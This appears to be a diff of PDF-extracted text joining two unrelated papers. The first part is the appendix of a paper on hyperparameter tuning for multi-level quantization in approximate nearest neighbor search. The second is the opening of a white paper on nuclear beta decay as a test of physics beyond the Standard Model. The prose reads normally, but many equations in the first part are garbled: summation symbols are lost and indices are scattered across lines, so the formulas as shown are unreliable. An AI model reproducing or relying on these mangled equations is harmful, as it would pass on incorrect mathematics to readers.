+• Even if j is in fact the closer neighbor, the hierarchical nature of multi-layer quantization
+training implies that there is some correlation between distance mis-rankings among the
+different quantization layers. If D(q, ˜
+X (i−1)
+g
+) < D(q, ˜
+X (i−1)
+j
+) then there is a higher
+chance that D(q, ˜
+X (i)
+g ) < D(q, ˜
+X (i)
+j ).
+Combining the results from our two cases, we see that if g ∈ Si−1(q, t), then the number of elements
+in ˆSi−1(q, t) that will rank closer to q than g according to ˜
+X (i) is approximately zero:
+1g∈Si−1(q,t)
+�
+j∈ ˆ
+Si−1(q,t)
+1D(q, ˜
+X (i)
+j
+)<D(q, ˜
+X (i)
+g
+) ≈ 0.
+We can add this expression to Equation 7 and utilize the definition from Equation 3 to conclude
+1g∈Si(q,t) ≈ 1g∈Si−1(q,t)1
+�
+�
+�
+�
+j∈Si−1(q,t)∪ ˆ
+Si−1(q,t)
+1D(q, ˜
+X (i)
+j
+)<D(q, ˜
+X (i)
+g
+) < ti
+�
+�
+�
+= 1g∈Si−1(q,t)1g∈S′
+i(q,ti).
+A.3
+EXTENSION OF COST MODEL TO BATCHED QUERYING
+The main speedup from query batching in quantization-based ANN algorithms arises from the fact that
+the same quantized data may be reused to score multiple queries. This conserves memory bandwidth,
+resulting in better performance, because memory bandwidth is scarce relative to arithmetic throughput
+in modern hardware. To account for this in our cost model, we first rewrite Equation 6 as
+J(t) ≜
+1
+|X| ·
+�
+| ˜
+X (1)| +
+m−1
+�
+i=1
+ti
+n · | ˜
+X (i+1)|
+�
+=
+1
+|X|
+m
+�
+i=1
+αi| ˜
+X (i)|
+where αi is the proportion of ˜
+X (i) that is searched; α1 = 1 and αi = ti−1/n for i > 1. The
+amount of memory bandwidth consumed in searching this quantization level for a batch of size B is
+approximately min(1, αiB)| ˜
+X (i)|, while the number of arithmetic operations performed is αiB| ˜
+X (i)|.
+Applying the roofline model to this algorithm, where we are bandwidth-bound in the small-batch
+regime and compute-bound in the large-batch regime, gives the following new cost model:
+J(t, B) ≜
+1
+|X|
+m
+�
+i=1
+max(αiB/ρ, min(1, αiB))| ˜
+X (i)|
+where ρ is the ratio of the hardware’s arithmetic performance to memory bandwidth. In practice,
+query batching is of limited utility in large-scale ANN because αi is so small that the algorithm will
+still be bandwidth-limited, resulting in no performance boost.
+A.4
+SINGLE-LAYER CANDIDATE SET RECALL CURVE COMPUTATION
+Our goal is to efficiently compute Li from Equation 5, reproduced below:
+14
+
+Li(Q, ti) = Eq∈Q
+�
+− log |S′
+i(q, ti) ∩ G(q)|
+|G(q)|
+�
+.
+We want to compute this quantity for all ti ∈ {1, . . . , n} and for all quantization levels. As a
+prerequisite, we first require the ground truth G(q) for all q ∈ Q. Note this ground truth is required to
+compute the recall of any ANN algorithm and therefore should be computed regardless of whether
+our technique is used. We can store the ground truth results in a matrix G ∈ {1, . . . , n}nq×k, where
+n is the number of elements in the dataset, nq is the number of elements in the Q, and k is the number
+of neighbors we want to retrieve per query.
+Now for each ground truth element, we compute its distance from the query for every dataset
+quantization. This may be expressed as computing U ∈ Rnq×m×k where Ua,b,c = D(Qa, ˜
+X (b)
+Ga,c).
+We then sort each Ua,b so that Ua,b,c < Ua,b,c+1 for all c ∈ {1, . . . , k −1}. From U we then compute
+a matrix V ∈ Nnq×m×k where Va,b,c stores the number of distances between query Qa and ˜
+X (b) that
+are less than Ma,b,c:
+Va,b,c =
+n
+�
+i=1
+1D(Qa, ˜
+X (b)
+i
+)<Ma,b,c.
+Note that because Ua,b was sorted, Va,b will be sorted as well. The entry Va,b,c indicates the search
+depths at which recall for query Qa with quantization ˜
+X (b) increase. For example, if Va,b = [1, 3, 8],
+we can conclude that recall for this query-quantization combination will be 0 when returning only
+the top 1 index, 1/3 when returning the top 2 or 3 indices, 2/3 when returning the top 3 through 7
+indices, and 1 when returning the top 8 or more indices. Once we have V , it is a simple matter of
+taking logarithms and aggregating over queries to compute Li.
+The computational bottleneck to this routine is computing V ; we must compute the query-dataset
+distance for all queries over all dataset quantizations, which takes O
+�
+nq
+�m
+i=1 | ˜
+X (i)|
+�
+time, where
+| ˜
+X (i)| denotes the memory footprint of quantization i. For each distance we must then decide how
+many of Ma,b it is less than, which takes O(log k) time per distance using binary search. We can
+estimate the number of distances as O(mn), although this is an overestimate because VQ-quantized
+layers will result in fewer than n distances being materialized. Overall, this gives our routine a
+runtime of
+O
+�
+nq
+m
+�
+i=1
+| ˜
+X (i)| + nqmn log k
+�
+.
+To analyze this expression further, let | ˜
+X (i)| = n · d · ri, where ri is the compression ratio for
+quantization i. Our runtime can then be expressed as O(nqn(d �m
+i=1 ri + m log k)); the first term
+tends to dominate due to the presence of d.
+This routine is relatively cheap; to compare, the computation of ground truth nearest neighbors, which
+is generally done as part of any ANN indexing routine, takes O(nqnd) time. Assuming as above that
+the first term of our runtime dominates, our routine is a multiplicative factor of �m
+i=1 ri as expensive,
+which in practice with typical quantization hierarchies is below 2.
+A.5
+FAST MINIMIZATION ALGORITHM FOR DYNAMIC LAGRANGE MULTIPLIERS
+Our goal is to quickly perform the optimization
+arg min
+t∈[0,n]m
+− λJ(t) +
+m
+�
+i=1
+Li(ti)
+s.t.
+t1 ≥ . . . ≥ tm.
+15
+
+quickly for dynamic values of λ, with all other inputs constant.
+We first describe the zero-
+preprocessing, O(nm) time dynamic programming solution to this problem, which we then optimize
+to arrive at our final O(m log n) approach.
+A.5.1
+BASIC DYNAMIC PROGRAMMING APPROACH
+For a fixed λ, our optimization is equivalent to selecting non-increasing indices t1, . . . , tm such that
+�m
+i=1 Mi,ti is minimized, where the matrix M ∈ Rm×n is defined as Mi,j = Li(j) − λJi(j). Now
+we define our dynamic programming subproblem as selecting the first a indices t1, . . . , ta such that
+all indices are at least equal to b. We can store these subproblem answers in another matrix M ′:
+M ′
+a,b ≜
+min
+t∈[b,n]a
+a
+�
+i=1
+Mi,ti
+s.t.
+t1 ≥ . . . ≥ ta.
+Using the state transition M ′
+a,b = min(M ′
+a,b+1, Ma,b + M ′
+a−1,b) allows us to compute all of M ′ and
+receive the resulting minimum, located at M ′
+m,n, in O(nm) time. The approach may be augmented
+with cost and history matrices so that J(t), � Li, and the selected indices ti may be recovered as
+well.
+A.5.2
+FASTER ALGORITHM LEVERAGING CONVEXITY
+Recall that all Li are convex, and J is linear, so every row of M is convex. Inductively, we can see
+that this leads to the rows of M ′ being convex as well, which we take advantage of to accelerate
+our algorithm. First, define j∗(i) as the rightmost index in row i achieving the row-wise minimum
+in M ′; j∗(i) = max{j : M ′
+i,j = mink M ′
+i,k}. Due to the convexity of M ′, we know that M ′
+i,j is
+strictly increasing with respect to j for all j > j∗(i). Combined with this equivalent expression for
+computing M ′,
+M ′
+a,b =
+min
+j∈{b,...,n} Ma,j + M ′
+a−1,j
+(8)
+it’s clear that M ′
+i is equivalent to Mi + M ′
+i−1 in the column range [j∗(i), n]. Meanwhile, M ′
+i,j =
+M ′
+i,j∗(i) for j < j∗(i).
+Now let’s inductively assume that M ′
+i−1 is composed of a number of piecewise components, where the
+kth component equals the sum of the most recent rk rows of M plus a constant ck and is responsible
+for the columns j ∈ [lk, rk]. From Equation 8 we can see that upon the transition from Mi−1 to M ′
+i,
+all pieces to the right of j∗(i) will be incremented by Mi. All pieces left of j∗(i) will be replaced
+with a constant offset equalling Mi,j∗(i), maintaining our inductive hypothesis. The base case for this
+hypothesis is also easily verified, as we see M ′
+1 equals M1 in the range j ∈ [j∗(1), n], and left of that
+range it equals the constant M ′
+1,j∗(1).
+This realization allows for faster approaches to our minimization problem by allowing M ′ to be
+implicitly represented rather than explicitly computed. We maintain the set of piecewise components
+as we traverse from row 1 to m. At each row, we have to find j∗(i) and update our set of components
+accordingly. The search for j∗(i) may be done efficiently by taking advantage of the convexity of M ′
+via binary search. We first binary search over our components to find the one containing the global
+minimum, and then binary searching among the indices belonging to that component. Computing
+the value within a component may be done in O(1) time once a prefix sum array over L and J are
+created; these data structures allow contiguous sums over M with dynamic λ. The component list
+update then takes O(1) amortized cost per row, because only one component is added per row.
+There are at most min(m + 1, n) components and any component may have a range of at most n
+indices, so the resulting minimization takes O(m log n) time. Calculating the prefix sums over L and
+J result in O(mn) preprocessing time for this algorithm.
+16
+
+˜
+X1: Level 2 PQ
+4 · 104 × 12 bytes; ∼ 480KB
+˜
+X2: Level 2 Centroids (int8)
+4 · 104 × 96 bytes; ∼ 3.84MB
+˜
+X3: Level 1 PQ
+4 · 106 × 16 bytes; ∼ 64MB
+˜
+X4: Level 1 Centroids (int8)
+4 · 106 × 96 bytes; ∼ 384MB
+˜
+X5: Dataset PQ
+109 × 48 bytes; ∼ 48GB
+Dataset (int8, not stored)
+109 × 96 bytes; ∼ 96GB
+(a) DEEP1B
+˜
+X1: Level 2 PQ
+4 · 104 × 12.5 bytes; ∼ 500KB
+˜
+X2: Level 2 Centroids (int8)
+4 · 104 × 100 bytes; ∼ 4MB
+˜
+X3: Level 1 PQ
+4 · 106 × 17 bytes; ∼ 68MB
+˜
+X4: Level 1 Centroids (int8)
+4 · 106 × 100 bytes; ∼ 400MB
+˜
+X5: Dataset PQ
+109 × 50 bytes; ∼ 50GB
+Dataset (int8, not stored)
+109 × 100 bytes; ∼ 100GB
+(b) Microsoft Turing-ANNS
+˜
+X1: Level 2 PQ
+4 · 104 × 25 bytes; ∼ 1MB
+˜
+X2: Level 2 Centroids (int8)
+4 · 104 × 200 bytes; ∼ 8MB
+˜
+X3: Level 1 PQ
+4 · 106 × 34 bytes; ∼ 136MB
+˜
+X4: Level 1 Centroids (int8)
+4 · 106 × 200 bytes; ∼ 800MB
+˜
+X5: Dataset PQ
+109 × 50 bytes; ∼ 50GB
+Dataset (int8, not stored)
+109 × 200 bytes; ∼ 200GB
+(c) Yandex Text-to-Image
+Figure 6: Multi-level quantization hierarchies used for the three billions-scale datasets of Section 5.2.
+A.6
+BILLION-SCALE SEARCH EXPERIMENTAL SETUP DETAILS
+Track 1 of the https://big-ann-benchmarks.com competition stipulates that:
+• Query-time benchmarking is done on Azure VMs with 32 vCPUs and 64GB RAM.
+• Indexing takes place on Azure VMs with 64vCPUs, 128GB RAM, and 4TB SSD, and must
+finish within 4 days.
+Our query-time serving was performed on 16 physical cores from an Intel Cascade Lake-generation
+CPU, and peak memory usage was measured to be under 58GB. Azure counts one physical core as
+equal to 2 vCPUs, so our setup matches the competition requirements.
+For indexing time, our index was constructed via a distributed computing pipeline. For DEEP1B, the
+pipeline ran in approximately 1.5 hours and in total consumed approximately 538.0 vCPU-hours of
+compute power. Approximately 16.3 vCPU-hours, or 2.7% of the overall indexing job’s resource
+consumption, was spent on computing L for use in our convex optimization routine. Other datasets
+were comparable in runtime. They were all significantly under the 6144 vCPU-hours available under
+the competition specifications, and furthermore the VQ and PQ training involved in the pipeline have
+low peak memory and disk requirements, so our indexing procedure comfortably qualifies under the
+competition rules.
+A.6.1
+HIERARCHICAL QUANTIZATION INDEX DETAILS
+The three diagrams below describe in detail the quantization hierarchy used for the three billions-scale
+datasets in Section 5.2. We would like to emphasize that all three datasets used the same VQ and
+PQ settings–the datasets are first quantized to 4 × 106 centroids, and then again to 4 × 104 centroids.
+The PQ was performed with 16 centers (4 bits) per subspace, 4 dimensions per subspace at the X1
+level, and 3 dimensions per subspace (rounding up) at the X3 level. Only the Yandex Text-to-Image
+dataset differs at the X5 level with its PQ setting (using 2 dimensions per subspace instead of 1), but
+this was only to fit the higher-dimensional dataset into the same RAM footprint.
+Even though our technique cannot set these VQ and PQ parameters, the fact that we can achieve
+excellent performance on all three datasets using the same VQ and PQ parameters, despite these
+datasets giving drastically different speed/recall Pareto frontiers, suggests the VQ and PQ parameters
+are not as difficult a part of the tuning problem and have more predictable good settings than the
+hyperparameters our technique deals with.
+17
+
+A.7
+IMPACT OF QUERY SAMPLE SIZE ON HYPERPARAMETER TUNING QUALITY
+0.68
+0.70
+0.72
+0.74
+0.76
+0.78
+0.80
+0.82
+Recall@10
+15000
+20000
+25000
+30000
+35000
+40000
+45000
+50000
+55000
+Queries per Second
+100 Queries
+1000 Queries
+10000 Queries
+Figure 7: Achieved search throughput and recall for tunings generated from different query sample
+sizes on the Microsoft Turing-ANNS billion-scale dataset.
+A larger query sample should lead to our optimization finding better hyperparameter tunings, but
+would also lead to greater cost in computing L, whose runtime is linear in the query sample size.
+In this section, we explicitly measure the effect of increasing query sample size by taking the 105
+queries from the MS-Turing dataset of big-ann-benchmarks, holding out 104 queries as a test
+set, and sampling subsets of 100, 1000, and 10000 queries from the remaining 9 × 104 queries. For
+each subset size, nine samples were taken, all disjoint from other subsets of the same size.
+For each query subset, we run our constrained optimization technique to generate low, medium, and
+high search cost ANN algorithm hyperparameter tunings, and measure the resulting recall and search
+throughput on the holdout query set. The search cost targets for the low, medium, and high settings
+were J(t) = 2 × 10−6, 5 × 10−6, and 1.2 × 10−5, respectively. The resulting recalls and throughputs
+are plotted in Figure 7.
+We can see that increasing the query sample size from 100 to 1000 leads to considerably less variance,
+with the resulting hyperparameters more consistently approaching the global cost-recall Pareto
+frontier. However, increasing the sample size further from 1000 to 10000 has very marginal impact.
+The query sample size was kept at 1000 for the experiments in Section 5.2, and is reflected in the
+vCPU-hour measurement in Appendix A.6.
+A.8
+PERFORMANCE OF FEW-LEVEL QUANTIZATION HIERARCHIES ON DEEP1B
+In Section 5.2 we use a five-level quantization hierarchy to search the DEEP1B, Microsoft Turing-
+ANNS, and Yandex Text-to-Image datasets from big-ann-benchmarks. Our hyperparameter
+tuning technique was necessary because the four-dimensional hyperparameter search space was
+impractically large for grid search. If we had built an ANN search index with fewer quantization
+levels, a simpler grid search approach could be used to find effective hyperparameters; in this section,
+we confirm that such shallow search indices perform poorly on DEEP1B, thereby ruling out grid
+search as a viable option.
+To test this, we take the original quantization hierarchy, described in Figure 6, and modify it in two
+ways. In one, we keep only the top-level 4 × 104 VQ centroids and remove the intermediate layer of
+4 × 106 centroids, to create the Shallow-Small quantization index; in the other, we remove the
+top-level centroids and only keep the 4 × 106 centroids from the middle layer of the hierarchy. These
+two modified quantization indices are illustrated in Figure 8.
+18
+
+˜
+X1: Level 1 PQ
+4 · 104 × 12 bytes; ∼ 480KB
+˜
+X2: Level 1 Centroids (int8)
+4 · 104 × 96 bytes; ∼ 3.84MB
+˜
+X3: Dataset PQ
+109 × 48 bytes; ∼ 48GB
+Dataset (int8, not stored)
+109 × 96 bytes; ∼ 96GB
+(a) Shallow-Small quantization index
+˜
+X1: Level 1 PQ
+4 · 106 × 16 bytes; ∼ 64MB
+˜
+X2: Level 1 Centroids (int8)
+4 · 106 × 96 bytes; ∼ 384MB
+˜
+X3: Dataset PQ
+109 × 48 bytes; ∼ 48GB
+Dataset (int8, not stored)
+109 × 96 bytes; ∼ 96GB
+(b) Shallow-Large quantization index
+Figure 8: The two quantization hierarchies we compare in this experiment against the original one
+used in Section 5.2 and described in Figure 6.
+The Shallow-Small and Shallow-Large indices both have three quantization levels and
+therefore a two-dimensional hyperparameter search space. We use grid search to explore this space,
+and plot in Figure 9 the resulting speed-recall Pareto frontiers against the original frontier from
+Section 5.2.
+We see that both Shallow-Small and Shallow-Large perform extremely poorly relative to the
+original five-layer index. Qualitatively, Shallow-Small has too many datapoints assigned to each
+of its 4 × 104 centroids, which implies the search cost of further searching any centroid is high; in
+addition, any given datapoint is unlikely to be quantized well by its centroid (due to the relatively low
+number of centroids), so the quality of results also tends to be low. Meanwhile, Shallow-Large
+has so many centroids that it always spends a large fixed cost on level 1 PQ distance computation.
+ 0
+ 10000
+ 20000
+ 30000
+ 40000
+ 50000
+ 60000
+ 70000
+ 80000
+ 90000
+ 100000
+ 0.5
+ 0.55
+ 0.6
+ 0.65
+ 0.7
+ 0.75
+ 0.8
+Speed (Queries per Second)
+Accuracy (Recall@10)
+Shallow-Small
+Shallow-Large
+Original
+Figure 9: Both three-level quantization indices perform very poorly relative to the original five-layer
+quantization index on DEEP1B.
+19
+

5NE2T4oBgHgl3EQfkAfy/content/tmp_files/2301.03975v1.pdf.txt

@@ -0,0 +1,1523 @@
+Nuclear β decay as a probe for physics beyond the Standard Model
+M. Brodeur,1 N. Buzinsky,2 M.A. Caprio,1 V. Cirigliano,3 J.A. Clark,4 P.J. Fasano,1 J.A. Formaggio,5
+A.T. Gallant,6 A. Garcia,2 S. Gandolfi,7 S. Gardner,8 A. Glick-Magid,2 L. Hayen,9, 10 H. Hergert,11, 12
+J. D. Holt,13, 14 M. Horoi,15 M.Y. Huang,16 K.D. Launey,17 K.G. Leach,18, 19 B. Longfellow,6 A. Lovato,20
+A.E. McCoy,19, 21 D. Melconian,22, 23 P. Mohanmurthy,5 D.C. Moore,24 P. Mueller,4 E. Mereghetti,25
+W. Mittig,26, 19 P. Navratil,13 S. Pastore,21, 27 M. Piarulli,21, 27 D. Puentes,26, 19 B.C. Rasco,28 M. Redshaw,15
+G.H. Sargsyan,6 G. Savard,4, 29 N.D. Scielzo,6 C.-Y. Seng,2, 19 A. Shindler,11, 12 S.R. Stroberg,1
+J. Surbrook,26, 19 A. Walker-Loud,30 R. B. Wiringa,31 C. Wrede,26, 19 A. R. Young,32, 33 and V. Zelevinsky26, 19
+1Department of Physics and Astronomy, University of Notre Dame, Notre Dame, IN 46556 USA
+2Department of Physics, University of Washington, Seattle, Washington 98195, USA
+3Institute for Nuclear Theory, University of Washington, Seattle, WA 98195, USA
+4Physics Division, Argonne National Laboratory, Lemont, Illinois 60439, USA
+5Laboratory for Nuclear Science, Massachusetts Institute of Technology, 77 Mass. Ave., Cambridge, MA 02139
+6Nuclear and Chemical Sciences Division, Lawrence Livermore National Laboratory, Livermore, California 94550, USA
+7Theoretical Division, Los Alamos National Laboratory
+8Department of Physics and Astronomy, University of Kentucky, Lexington, KY 40506-0055
+9Department of Physics, North Carolina State University, Raleigh, North Carolina 27695, USA
+10Triangle Universities Nuclear Laboratory, Durham, North Carolina 27708, USA
+11Facility for Rare Isotope Beams, Michigan State University, East Lansing, Michigan 48824, USA
+12Department of Physics & Astronomy, Michigan State University, East Lansing, Michigan 48824, USA
+13TRIUMF, Vancouver, BC V6T 2A3, Canada
+14Department of Physics, McGill University, Montréal, QC H3A 2T8, Canada
+15Department of Physics, Central Michigan University, Mount Pleasant, MI 48859, USA
+16Department of Physics and Astronomy, Iowa State University, Ames, IA 50011, USA
+17Department of Physics and Astronomy, Louisiana State University, Baton Rouge, LA 70803, USA
+18Department of Physics, Colorado School of Mines, Golden, CO 80401, USA
+19Facility for Rare Isotope Beams, Michigan State University, East Lansing, MI 48824, USA
+20Physics Division, Argonne National Laboratory, Lemont IL 60439, USA
+21Department of Physics, Washington University in Saint Louis, Saint Louis, MO 63130, USA
+22Cyclotron Institute, Texas A&M University, 3366 TAMU, College Station, Texas 77843-3366, USA
+23Department of Physics and Astronomy, Texas A&M University,
+4242 TAMU, College Station, Texas 77843-4242, USA
+24Wright Laboratory, Department of Physics, Yale University, New Haven, CT 06520, USA
+25Los Alamos National Laboratory, Los Alamos, NM 87545, USA
+26Department of Physics and Astronomy, Michigan State University, East Lansing 48824, USA
+27McDonnell Center for the Space Sciences at Washington University in St. Louis, MO 63130, USA
+28Physics Division, Oak Ridge National Laboratory, Oak Ridge, TN 37830, USA
+29Department of Physics, University of Chicago, Chicago, Illinois 60637, USA
+30Nuclear Science Division, Lawrence Berkeley National Laboratory, Berkeley, CA, 94720, USA
+31Physics Division, Argonne National Laboratory, Lemont, IL 60439, USA
+32Department of Physics, North Carolina State University, Raleigh 27695, USA
+33Triangle Universities Nuclear Laboratory, Duke University, Durham 27708, USA
+(Dated: January 11, 2023)
+This white paper was submitted to the 2022 Fundamental Symmetries, Neutrons, and Neutrinos
+(FSNN) Town Hall Meeting in preparation for the next NSAC Long Range Plan. We advocate to
+support current and future theoretical and experimental searches for physics beyond the Standard
+Model using nuclear β decay.
+I.
+RECOMMENDATIONS
+The nuclear β-decay research community has made im-
+pressive progress, both in theory and experiment, since
+the previous long range plan was implemented. A wide
+variety of nuclear systems provide enhanced sensitivity
+to phenomena that can arise in beyond the Standard
+Model (BSM) contributions to the electroweak interac-
+tion. At the level of precision currently being achieved
+for this type of fundamental symmetries research, nu-
+merous higher-order corrections need to be accounted for
+through nuclear theory. In addition to progress on im-
+proving the determination of electroweak radiative cor-
+rections, one of the most dramatic developments has been
+the emergence of new many-body methods with control-
+lable uncertainties that can be applied in a wide range
+of relevant nuclei.
+This progress has set the stage for
+productive interactions between theory and experiment
+to reassess and sharpen theoretical uncertainties and to
+arXiv:2301.03975v1  [nucl-ex]  10 Jan 2023
+
+2
+interpret the high-quality data being collected with ad-
+vanced experimental systems.
+One of the central goals for the coming years is to place
+the on-going work with allowed decays on a more rigor-
+ous theoretical footing and push the precision frontier for
+the experimental campaigns targeting a set of key nuclei.
+These activities should produce improved results both for
+the "top-row" unitarity test and for the search for exotic
+couplings, allowing nuclear β decay to continue to be at
+the forefront in probing new physics in charged current
+weak interactions.
+The remarkable progress on theory has been accompa-
+nied by a number of successful experimental programs
+that highlight the impact of relatively small-scale re-
+search efforts. These experiments have achieved the high-
+est precision measurements to date of the β-asymmetry
+with 37K and the β-ν angular correlation with 8Li. At the
+same time, we have developed new spectroscopic tech-
+niques using cyclotron resonance spectroscopy (CRES),
+superconducting tunnel junctions, and novel ion-trapping
+systems. These advances are poised to yield a wealth of
+results with unprecedented precision that provide multi-
+ple stringent constraints on BSM scenarios.
+The community’s recommendations for advancing fun-
+damental symmetries research using nuclear β decays are:
+• Accelerating progress on improving constraints on
+BSM scenarios and clarifying the status of the
+Cabibbo angle anomaly through the formation of
+a center to study fundamental symmetries with β
+decay that strengthens collaboration between ex-
+periment and theory.
+• Increasing investment in small-scale and mid-
+scale projects and initiatives at universities, the
+ARUNA laboratories, and national laboratories to
+exploit the strengths of existing facilities and cre-
+ate pipelines for highly-qualified personnel into the
+field.
+• Establishing robust and sustained support for the
+nuclear theory effort, which entails workforce devel-
+opment at all levels (students, post-docs, faculty)
+and viable career paths.
+• Pursuing and developing the cutting-edge ex-
+perimental techniques used to perform model-
+independent searches for BSM neutrino physics via
+β decay, with the goal of a direct absolute neutrino
+mass measurement.
+• The nuclear beta decay community strives to pro-
+mote a diverse and inclusive environment while ad-
+vocating for an increased financial support that
+would improve our graduate student standard of
+living.
+• We recommend several items that would facil-
+itate fundamental symmetry research at FRIB.
+These include the development of a solid stop-
+per, a helium-jet ion source for commensal beam
+operation, means and staff support for producing
+beams and sources at FRIB from harvested iso-
+topes, for example by using the existing batch mode
+ion source (BMIS), and more usable space for such
+future large precision experiments.
+II.
+INTRODUCTION
+Over the past decade, β-decay experiments have sig-
+nificantly extended the frontiers of knowledge on physics
+beyond the Standard Model. This has been done using a
+variety of probes including angular-correlation measure-
+ments (e.g., [1–4]) and precise ft-value measurements
+[5, 6]. Further planned experimental efforts using differ-
+ent techniques will reliably discover or set stronger con-
+straints on BSM physics effects [7]. Such measurements
+are done both at National and University laboratories.
+New experiments will achieve precision of 0.1% or better,
+enabling them to reach TeV-scale physics [7], and in most
+case to compete with high-energy searches at the Large
+Hadron Collider [8]. Important recent developments in
+nuclear theory now allow fundamental physics to be ex-
+tracted from experiments at this level of precision.
+Nuclear β decay transitions can be used to extract Vud
+to test the CKM matrix unitarity, probe the presence
+of scalar and tensor currents, tensor coupling to right-
+handed neutrinos, search for sterile neutrino, and con-
+tribute to the neutrino mass determination.
+The type of transition used to probe BSM physics in-
+clude superallowed pure Fermi between 0+ states, su-
+perallowed mixed between mirror nuclei, allowed pure
+Gamow-Teller, first-forbidden, as well as some specific
+electron-capture and ultra-low Q-value transitions.
+In this white paper we will highlight recent achieve-
+ments, concisely articulate the scientific opportunities,
+and give the path towards discoveries using each of these
+nuclear β decay transitions in the next decade and be-
+yond.
+III.
+CKM MATRIX UNITARITY TESTS
+A.
+Motivation
+Precise tests of the CKM matrix top-row unitarity are
+a unique, model-independent probe having discovery po-
+tential for new physics at the 10 TeV scale with current
+precision levels [7]. β decay supplies over 95% of the top-
+row sum data. Following recent broad theory progress
+and signs of top-row unitarity violation at the > 3σ level,
+we are in a most opportune time to deliver a comprehen-
+sive advancement in the determination of the Vud matrix
+element using nuclear β decays. In particular, mature ab
+
+3
+initio nuclear theory efforts and a high-precision nuclear
+data set underscore the potential/need for a concerted ef-
+fort between theory and experiment. Formation of a topi-
+cal group, the VUDU (Vud Unitarity) alliance, would fos-
+ter further collaboration, strengthen theory benchmark-
+ing efforts, amplify the impact of focused experimental
+efforts and sustain the leadership role of the nuclear β
+decay community in precision CKM unitarity tests.
+B.
+Progress
+The Vud element of the CKM matrix can be determined
+from the β decays of the pion, neutron, pure Fermi 0+ to
+0+ and mixed, mirror nuclear decays [9]. The current sta-
+tus is summarized in Fig. 1 showing the fractional uncer-
+tainty due to experimental input, electroweak radiative
+corrections, and nuclear structure corrections where rel-
+evant. Currently, the most precise determination of Vud
+is obtained from 0+ → 0+ nuclear decays, where a collec-
+tion of more than 200 measurements in 21 different nuclei
+allow for a significant statistical advantage. Its precision
+is currently limited by uncertainties in sub-percent level
+nuclear structure corrections, the improvement of which
+is a strong driver for theoretical advances and comprises
+one of the major goals in the field.
+0.00
+0.05
+0.10
+0.15
+0.20
+0.25
+Frac. Unc (%)
+0 +
+0 +
+Neutron
+Mirror
+Pion
+Experiment
+Radiative
+Nuclear
+Figure 1. Fractional uncertainties to the Vud extraction from
+the most precise channels.
+Significant theoretical progress in the calculation of ra-
+diative corrections using dispersion relations was made
+possible by a critical paradigm shift and served to reduce
+uncertainties due to radiative corrections in all systems
+by at least a factor of two [10, 11]. The resultant 3σ shift
+compared to the previous state of the art for the neutron
+and nuclear decays has been confirmed by several inde-
+pendent calculations [12–14], and have been shown to be
+systematically improvable using lattice QCD calculations
+[15–17].
+Leveraging improvements in the theory framework, nu-
+clear structure effects in electroweak radiative corrections
+(denoted δNS) were reevaluated and resulted in substan-
+tial changes when including quasi-elastic and nuclear po-
+larization effects. These were initially treated in simpli-
+fied models and increased the uncertainty on the resul-
+tant Vud determination from 0+ → 0+ decays by 50% due
+to fully correlated theoretical uncertainties [11, 18, 19].
+A fully-relativistic framework [20] permits rigorous stud-
+ies of δNS using ab initio methods; the past two decades
+have witnessed a tremendous progress of the latter in the
+description of nuclei. This was due to the advent of ef-
+fective field theories that link nuclear many-body interac-
+tions and electroweak currents to the fundamental sym-
+metries of the underlying theory of Quantum Chromody-
+namics [21–30]; the development of new algorithms suited
+to solve the many-body nuclear problem for nuclei in the
+medium mass region and beyond [31]; and the increased
+availability of computational resources [32]. Capitalizing
+on these recent developments, the theory community is
+poised to provide improved theoretical estimates for the
+nuclear structure effects in radiative corrections (δNS)
+and isospin breaking effects (δC).
+There has been a surge of experimental activity in the
+past years around mirror transitions at various institu-
+tions world-wide including: half-life (37K [33], 21Na [34]
+and 29P [35]) and branching ratio (37K [36]) measure-
+ments at Texas A&M University; half-life measurements
+of 11C [37], 13N [38], 15O [39], 25Al [40] and 29P [41] at
+the University of Notre Dame; QEC-value measurements
+of 11C [42], 21Na and 29P using LEBIT at NSCL [43]; and
+with significant development of 99.13(9)% nuclear polar-
+ization via optical pumping [44], a precise β-asymmetry
+measurement of 37K using TRINAT at TRIUMF im-
+proved the value of Vud for this isotope by a factor of
+4 [45].
+C.
+Prospects
+Significant progress in the determination of nuclear
+structure correction using nuclear ab initio methods are
+paramount in order to maximize the potential of the su-
+perallowed global data set for Vud extraction.
+In par-
+ticular, a benchmarking effort centered around low mass
+nuclei with high precision experimental data (6He, 10,11C,
+14O,
+19Ne) that are accessible to nuclear many-body
+methods with a minimum number of approximations (No
+Core Shell Model, Quantum Monte Carlo, Lattice Effec-
+tive Field Theory, . . .) and methods with a wider mass
+reach (Coupled Cluster, In Medium Similarity Renor-
+malization Group, and hybrid models) will allow one
+to reliably compute corrections for the full data set.
+Supplemented by focused experimental measurements of
+0+ → 0+ and mirror decays, the community foresees a
+synergistic approach with maximal impact. Given that
+the uncertainties for the value of Vud determined from the
+superallowed decays are dominated by the uncertainty
+in theoretical corrections due to nuclear structure effects
+in the electroweak radiative corrections, we can antici-
+
+4
+pate significant progress in the precision with which these
+are calculated and a reduction in the uncertainty budget
+for the superallowed data set during the next long range
+planning period. This should shift uncertainties in Vud
+back to the electroweak radiative corrections for the nu-
+cleon (and presumably kaon decay). The more challeng-
+ing goal of quantifying and reducing uncertainties in the
+analysis of isospin-mixing effects will proceed in parallel,
+with an immediate increment in precision for some BSM
+tests when this goal is achieved.
+In particular, there is a strong need for more precise
+measurements of the branching ratio of the 0+ → 0+
+transitions of 10C and 14O. Both of these isotopes weigh
+in most on searches for exotic scalar currents through
+a non-zero Fierz interference term.
+Through the de-
+velopment of quantum sensors at radioactive ion beam
+facilities (e.g. using superconducting tunnel junctions),
+measurements of the branching ratios of both could be
+performed through recoil spectroscopy as a way of avoid-
+ing common systematic effects. Additional information
+on recoil-order and isospin breaking corrections may be
+obtained using precise electroweak nuclear radii measure-
+ments in several isotriplet systems [46, 47]. On the the-
+ory side, a reliable determination by ab initio methods
+of both the δC and δNS nuclear structure corrections for
+10C and 14O transitions is now within the reach.
+The β-delayed proton decays of 20Mg, 24Si, 28S, 32Ar
+and 36Ca, to be studied at TAMUTRAP [48], will pro-
+vide alternate 0+ → 0+ cases once the 3He-LIG system
+at the Cyclotron Institute is fully commissioned. These
+near-proton-dripline cases will have vastly different ex-
+perimental systematics and provide a demanding test of
+isospin-symmetry-breaking corrections (δC).
+Superallowed mixed β decay transitions between mir-
+ror nuclei have been proposed as an independent means
+to extract the Vud element of the CKM matrix [49] by
+measuring the mixing ratio through, e.g., angular cor-
+relations. While this requires an additional experimen-
+tal input, substantial enhancements are available through
+near-cancellation of the observable, exceeding that of the
+neutron (e.g.17F) to up to a factor 13 (19Ne) [50]. Besides
